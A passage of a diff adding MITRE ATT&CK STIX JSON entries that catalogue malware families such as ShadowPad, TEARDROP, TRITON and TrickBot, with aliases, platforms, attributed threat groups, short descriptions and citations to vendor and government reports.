February 2021)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0639", + "external_id": "S0639", + "source_name": "mitre-attack" + }, + { + "url": "https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html", + "description": "Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021.", + "source_name": "Trend Micro Ransomware February 2021" + } + ] + }, + { + "type": "malware", + "modified": "2021-04-26T13:14:35.741Z", + "name": "ShadowPad", + "x_mitre_aliases": [ + "ShadowPad", + "POISONPLUG.SHADOW" + ], + "x_mitre_version": "1.0", + "created": "2021-03-23T20:49:39.954Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc", + "description": "[ShadowPad](https://attack.mitre.org/software/S0596) is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by [APT41](https://attack.mitre.org/groups/G0096), but has since been observed to be used by various Chinese threat activity groups. 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(Citation: Baumgartner Naikon 2015)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0060", + "url": "https://attack.mitre.org/software/S0060" + }, + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "T9000", + "x_mitre_aliases": [ + "T9000" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-31T12:40:49.213Z", + "created": "2017-05-31T21:33:01.951Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "description": "[T9000](https://attack.mitre.org/software/S0098) is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. 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T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016" + } + ] + }, + { + "type": "malware", + "modified": "2021-04-26T15:52:00.433Z", + "name": "TAINTEDSCRIBE", + "x_mitre_aliases": [ + "TAINTEDSCRIBE" + ], + "x_mitre_version": "1.0", + "created": "2021-03-05T15:56:44.479Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", + "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) is a fully-featured beaconing implant integrated with command modules used by [Lazarus Group](https://attack.mitre.org/groups/G0032). It was first reported in May 2020.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0586", + "external_id": "S0586", + "source_name": "mitre-attack" + }, + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", + "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. 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(Citation: ClearSky Wilted Tulip July 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0164", + "external_id": "S0164", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: ClearSky Wilted Tulip July 2017)", + "source_name": "TDTESS" + }, + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "TEARDROP", + "x_mitre_aliases": [ + "TEARDROP" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-26T12:13:17.872Z", + "created": "2021-01-06T17:34:43.835Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--32f49626-87f4-4d6c-8f59-a0dca953fe26", + "description": "[TEARDROP](https://attack.mitre.org/software/S0560) is a memory-only dropper that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was likely used by [APT29](https://attack.mitre.org/groups/G0016) since at least May 2020.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0560", + "external_id": "S0560", + "source_name": "mitre-attack" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "source_name": "FireEye SUNBURST Backdoor December 2020" + }, + { + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.", + "source_name": "Microsoft Deep Dive Solorigate January 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "TEXTMATE", + "x_mitre_aliases": [ + "TEXTMATE", + "DNSMessenger" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T18:19:25.928Z", + "created": "2017-05-31T21:33:25.209Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47", + "description": "[TEXTMATE](https://attack.mitre.org/software/S0146) is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with [POWERSOURCE](https://attack.mitre.org/software/S0145) in February 2017. (Citation: FireEye FIN7 March 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0146", + "external_id": "S0146", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye FIN7 March 2017)", + "source_name": "TEXTMATE" + }, + { + "description": "Based on similar descriptions of functionality, it appears S0146, as named by FireEye, is the same as Stage 4 of a backdoor named DNSMessenger by Cisco's Talos Intelligence Group. However, FireEye appears to break DNSMessenger into two parts: S0145 and S0146. (Citation: Cisco DNSMessenger March 2017) (Citation: FireEye FIN7 March 2017)", + "source_name": "DNSMessenger" + }, + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. 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The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:33:15.467Z", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0131", + "external_id": "S0131", + "source_name": "mitre-attack" + }, + { + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "TRITON", + "x_mitre_aliases": [ + "TRITON", + "HatMan", + "TRISIS" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-27T20:47:40.880Z", + "created": "2021-01-11T21:27:41.573Z", + "x_mitre_deprecated": true, + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--93ae2edf-a598-4d2d-acd7-bcae0c021923", + "description": "This entry was deprecated as it was inadvertently added to Enterprise; a similar Software entry was created for ATT&CK for ICS.\n\n[TRITON](https://attack.mitre.org/software/S0609) is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. [TRITON](https://attack.mitre.org/software/S0609) was deployed against at least one target in the Middle East. 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Retrieved January 6, 2021.", + "source_name": "FireEye TRITON 2018" + }, + { + "url": "https://www.dragos.com/wp-content/uploads/TRISIS-01.pdf", + "description": "Dragos. (2017, December 13). TRISIS Malware Analysis of Safety System Targeted Malware. Retrieved January 6, 2021.", + "source_name": "Dragos TRISIS" + }, + { + "url": "https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf", + "description": "CISA. (2019, February 27). MAR-17-352-01 HatMan-Safety System Targeted Malware. Retrieved January 6, 2021.", + "source_name": "CISA HatMan" + }, + { + "source_name": "FireEye TEMP.Veles 2018", + "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html " + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "TSCookie", + "x_mitre_aliases": [ + "TSCookie" + ], + "x_mitre_version": "1.0", + "modified": "2020-07-07T14:05:07.519Z", + "created": "2020-05-06T15:43:49.556Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace", + "description": "[TSCookie](https://attack.mitre.org/software/S0436) is a remote access tool (RAT) that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) in campaigns against Japanese targets.(Citation: JPCert TSCookie March 2018)(Citation: JPCert BlackTech Malware September 2019). [TSCookie](https://attack.mitre.org/software/S0436) has been referred to as [PLEAD](https://attack.mitre.org/software/S0435) though more recent reporting indicates a separation between the two.(Citation: JPCert PLEAD Downloader June 2018)(Citation: JPCert BlackTech Malware September 2019)", + "x_mitre_contributors": [ + "Tatsuya Daitoku, Cyber Defense Institute, Inc." + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0436", + "external_id": "S0436", + "source_name": "mitre-attack" + }, + { + "url": "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html", + "description": "Tomonaga, S.. (2018, March 6). Malware \u201cTSCookie\u201d. Retrieved May 6, 2020.", + "source_name": "JPCert TSCookie March 2018" + }, + { + "url": "https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html", + "description": "Tomonaga, S.. (2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020.", + "source_name": "JPCert BlackTech Malware September 2019" + }, + { + "url": "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html", + "description": "Tomonaga, S.. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020.", + "source_name": "JPCert PLEAD Downloader June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "TURNEDUP", + "x_mitre_aliases": [ + "TURNEDUP" + ], + "x_mitre_version": "1.1", + "modified": "2021-02-09T15:25:33.116Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is a non-public backdoor. It has been dropped by [APT33](https://attack.mitre.org/groups/G0064)'s [StoneDrill](https://attack.mitre.org/software/S0380) malware. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)", + "x_mitre_contributors": [ + "Christiaan Beek, @ChristiaanBeek", + "Ryan Becwar" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0199", + "external_id": "S0199", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)", + "source_name": "TURNEDUP" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "source_name": "FireEye APT33 Sept 2017" + }, + { + "url": "https://www.brighttalk.com/webcast/10703/275683", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "source_name": "FireEye APT33 Webinar Sept 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "TYPEFRAME", + "x_mitre_aliases": [ + "TYPEFRAME" + ], + "x_mitre_version": "1.1", + "modified": "2020-06-23T20:40:40.755Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) is a remote access tool that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT TYPEFRAME June 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0263", + "external_id": "S0263", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: US-CERT TYPEFRAME June 2018)", + "source_name": "TYPEFRAME" + }, + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Taidoor", + "x_mitre_aliases": [ + "Taidoor" + ], + "x_mitre_version": "2.0", + "modified": "2021-10-15T12:34:22.853Z", + "created": "2017-05-31T21:32:14.900Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", + "description": "[Taidoor](https://attack.mitre.org/software/S0011) is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021) [Taidoor](https://attack.mitre.org/software/S0011) has primarily been used against Taiwanese government organizations since at least 2010.(Citation: TrendMicro Taidoor)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0011", + "external_id": "S0011", + "source_name": "mitre-attack" + }, + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", + "description": "CISA, FBI, DOD. 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[TajMahal](https://attack.mitre.org/software/S0467) is comprised of two separate packages, named Tokyo and Yokohama, and can deploy up to 80 plugins.(Citation: Kaspersky TajMahal April 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0467", + "external_id": "S0467", + "source_name": "mitre-attack" + }, + { + "url": "https://securelist.com/project-tajmahal/90240/", + "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019.", + "source_name": "Kaspersky TajMahal April 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "ThiefQuest", + "x_mitre_aliases": [ + "ThiefQuest", + "MacRansom.K", + "EvilQuest" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-05T01:47:00.880Z", + "created": "2021-03-19T16:26:04.260Z", + "x_mitre_platforms": [ + "macOS" + ], + "id": "malware--727afb95-3d0f-4451-b297-362a43909923", + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. [ThiefQuest](https://attack.mitre.org/software/S0595) was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links.(Citation: Reed thiefquest fake ransom) Even though [ThiefQuest](https://attack.mitre.org/software/S0595) presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0595", + "external_id": "S0595", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Reed thiefquest fake ransom)", + "source_name": "ThiefQuest" + }, + { + "description": "(Citation: SentinelOne EvilQuest Ransomware Spyware 2020)", + "source_name": "MacRansom.K" + }, + { + "description": "(Citation: Reed thiefquest fake ransom)", + "source_name": "EvilQuest" + }, + { + "url": "https://blog.malwarebytes.com/detections/osx-thiefquest/", + "description": "Thomas Reed. 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Retrieved April 1, 2021.", + "source_name": "SentinelOne EvilQuest Ransomware Spyware 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "TinyZBot", + "x_mitre_aliases": [ + "TinyZBot" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-21T16:41:34.655Z", + "created": "2017-05-31T21:32:12.310Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) is a bot written in C# that was developed by [Cleaver](https://attack.mitre.org/groups/G0003). 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Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "TrickBot", + "x_mitre_aliases": [ + "TrickBot", + "Totbrick", + "TSPY_TRICKLOAD" + ], + "x_mitre_version": "2.0", + "modified": "2021-10-01T14:19:20.660Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) was developed and initially used by [Wizard Spider](https://attack.mitre.org/groups/G0102) for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: CrowdStrike Wizard Spider October 2020)", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security", + "Cybereason Nocturnus, @nocturnus", + "Omkar Gudhate", + "FS-ISAC" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0266", + "external_id": "S0266", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: S2 Grupo TrickBot June 2017) (Citation: Trend Micro Totbrick Oct 2016) (Citation: TrendMicro Trickbot Feb 2019)", + "source_name": "TrickBot" + }, + { + "description": "(Citation: Trend Micro Totbrick Oct 2016) (Citation: Microsoft Totbrick Oct 2017)", + "source_name": "Totbrick" + }, + { + "description": "(Citation: Trend Micro Totbrick Oct 2016)", + "source_name": "TSPY_TRICKLOAD" + }, + { + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf", + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017" + }, + { + "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre", + "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.", + "source_name": "Fidelis TrickBot Oct 2016" + }, + { + "source_name": "IBM TrickBot Nov 2016", + "description": "Keshet, L. (2016, November 09). Tricks of the Trade: A Deeper Look Into TrickBot\u2019s Machinations. Retrieved August 2, 2018.", + "url": "https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/" + }, + { + "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.", + "source_name": "CrowdStrike Wizard Spider October 2020" + }, + { + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n", + "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.", + "source_name": "Trend Micro Totbrick Oct 2016" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/", + "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.", + "source_name": "TrendMicro Trickbot Feb 2019" + }, + { + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick", + "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.", + "source_name": "Microsoft Totbrick Oct 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Trojan.Karagany", + "x_mitre_aliases": [ + "Trojan.Karagany", + "xFrost", + "Karagany" + ], + "x_mitre_version": "2.0", + "modified": "2020-10-14T22:38:11.328Z", + "created": "2017-05-31T21:33:00.176Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) is a modular remote access tool used for recon and linked to [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). The source code for [Trojan.Karagany](https://attack.mitre.org/software/S0094) originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. (Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Dragos DYMALLOY )", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0094", + "external_id": "S0094", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Secureworks Karagany July 2019)", + "source_name": "xFrost" + }, + { + "description": "(Citation: Secureworks Karagany July 2019)", + "source_name": "Karagany" + }, + { + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly" + }, + { + "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", + "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020.", + "source_name": "Secureworks Karagany July 2019" + }, + { + "url": "https://www.dragos.com/threat/dymalloy/", + "description": "Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020.", + "source_name": "Dragos DYMALLOY " + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Trojan.Mebromi", + "x_mitre_aliases": [ + "Trojan.Mebromi" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T18:22:55.430Z", + "created": "2017-05-31T21:32:11.148Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--c5e9cb46-aced-466c-85ea-7db5572ad9ec", + "description": "[Trojan.Mebromi](https://attack.mitre.org/software/S0001) is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0001", + "external_id": "S0001", + "source_name": "mitre-attack" + }, + { + "url": "http://www.symantec.com/connect/blogs/bios-threat-showing-again", + "description": "Ge, L. (2011, September 9). BIOS Threat is Showing up Again!. Retrieved November 14, 2014.", + "source_name": "Ge 2011" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Truvasys", + "x_mitre_aliases": [ + "Truvasys" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-18T16:10:02.987Z", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad", + "description": "[Truvasys](https://attack.mitre.org/software/S0178) is first-stage malware that has been used by [PROMETHIUM](https://attack.mitre.org/groups/G0056). It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0178", + "external_id": "S0178", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", + "source_name": "Truvasys" + }, + { + "source_name": "Microsoft Win Defender Truvasys Sep 2017", + "description": "Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha" + }, + { + "source_name": "Microsoft NEODYMIUM Dec 2016", + "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" + }, + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Turian", + "x_mitre_aliases": [ + "Turian" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-18T13:19:48.020Z", + "created": "2021-09-21T15:21:31.795Z", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "id": "malware--350f12cf-fd3b-4dad-b323-14b943090df4", + "description": "[Turian](https://attack.mitre.org/software/S0647) is a backdoor that has been used by [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, [Turian](https://attack.mitre.org/software/S0647) is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.(Citation: ESET BackdoorDiplomacy Jun 2021)", + "x_mitre_contributors": [ + "Zaw Min Htun, @Z3TAE" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0647", + "external_id": "S0647", + "source_name": "mitre-attack" + }, + { + "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", + "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021", + "source_name": "ESET BackdoorDiplomacy Jun 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "UBoatRAT", + 